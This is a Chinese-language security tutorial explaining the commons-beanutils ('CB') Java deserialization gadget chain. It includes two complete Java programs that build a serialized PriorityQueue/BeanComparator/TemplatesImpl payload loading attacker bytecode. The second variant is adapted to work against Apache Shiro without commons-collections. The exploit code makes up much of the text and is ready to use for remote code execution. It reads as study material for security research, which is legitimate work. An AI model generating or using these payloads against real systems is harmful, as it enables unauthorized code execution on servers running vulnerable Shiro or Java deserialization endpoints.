依赖
jdk:jdk8u65
CB:commons-beanutils 1.8.3
在pom.xml里添加
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
CommonsBeanutils利用点
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty()
,可以让使用者直接调用任意JavaBean的getter方法
PropertyUtils.getProperty()
传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
比如:
1 2 3 4 5
| Person person = new Person("Mike"); PropertyUtils.getProperty(person,"name"); # 等价于 Person person = new Person("Mike"); person.getName();
|
除此之外, PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter。
因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。
commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到。
利用链分析
在前面的CC3链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce
1 2 3 4 5 6 7
| TemplatesImpl: getOutputProperties() ->newTransformer() ->getTransletInstance() ->defineTransletClasses() TransletClassLoader: ->defineClass()
|
在之前的CC2/4的链中我们用到了java.util.PriorityQueue
的readObject触发反序列化,主要是通过调用了其TransformingComparator
的compare方法,进而调用了transform链的调用。
而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare()
函数,当调用BeanComparator.compare()
方法时,其内部会调用我们前面说的 getProperty
函数,进而调用JavaBean中对应属性的 getter 函数。
我们看看BeanComparator.compare()方法:
这里会调用PropertyUtils.getProperty()
方法 。
这个方法传入两个对象,如果this.property
为空,则直接比较这两个对象;如果this.property
不为空,则用PropertyUtils.getProperty
分别取这两个对象的this.property
属性,比较属性的值。因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用TemplatesImpl.getOutputProperties()
往下就是TemplatesImpl的利用链。
那么往上找,哪里调用 compare()呢?
可以利用CC2/4链中的 PriorityQueue.readObject()
前面的CC2链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象
1 2 3 4 5 6 7
| BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator); queue.add(1); queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates}); setFieldValue(comparator,"property","outputProperties");
|
然后结合一下CC3的TemplatesImpl的利用链。
所以整条CB链子的流程是这样的:
1 2 3 4 5 6 7 8 9 10
| PriorityQueue.readObject() ->BeanComparator.compare() ->PropertyUtils.getProperty() TemplatesImpl类: ->getOutputProperties() ->newTransformer() ->getTransletInstance() ->defineTransletClasses() TransletClassLoader类: ->defineClass()
|
完整CB链(with CC依赖)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB_with_CC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "aaa"); byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator Beancomparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator); queue.add(1); queue.add(2);
setFieldValue(Beancomparator,"property","outputProperties"); setFieldValue(queue,"queue",new Object[]{templates,templates});
serialize(queue); }
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); }
}
|
问题
如果直接使用上面的链子打Shiro550会报错:没找到org.apache.commons.collections.comparators.ComparableComparator
类
从包名即可看出,这个类是来自于commons-collections
,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
那么有没有不需要依赖commons-collections的CB链呢?
答案是有的。
无CC依赖的Shiro反序列化利用链
看看org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里使用了:
在BeanComparator
类的构造函数处,当没有显式传入Comparator
的情况下,则默认使用 ComparableComparator
。
既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。
存在很多很多,常用的为java.util.Collections$ReverseComparator
或者java.lang.String$CaseInsensitiveComparator
我们只需要利用反射,将对应的comparator写入属性中,就不需要依赖CC库了。
1 2 3
| setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
|
完整CB链(without CC依赖)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB_no_CC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "aaa"); byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator Beancomparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator); queue.add(1); queue.add(2);
setFieldValue(Beancomparator,"property","outputProperties"); setFieldValue(queue,"queue",new Object[]{templates,templates}); setFieldValue(Beancomparator, "comparator", String.CASE_INSENSITIVE_ORDER); serialize(queue); }
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); }
}
|
参考链接:
Java反序列化Commons-Beanutils篇-CB链
CB利用链及无依赖打Shiro
commons-beanutils的三种利用原理构造与POC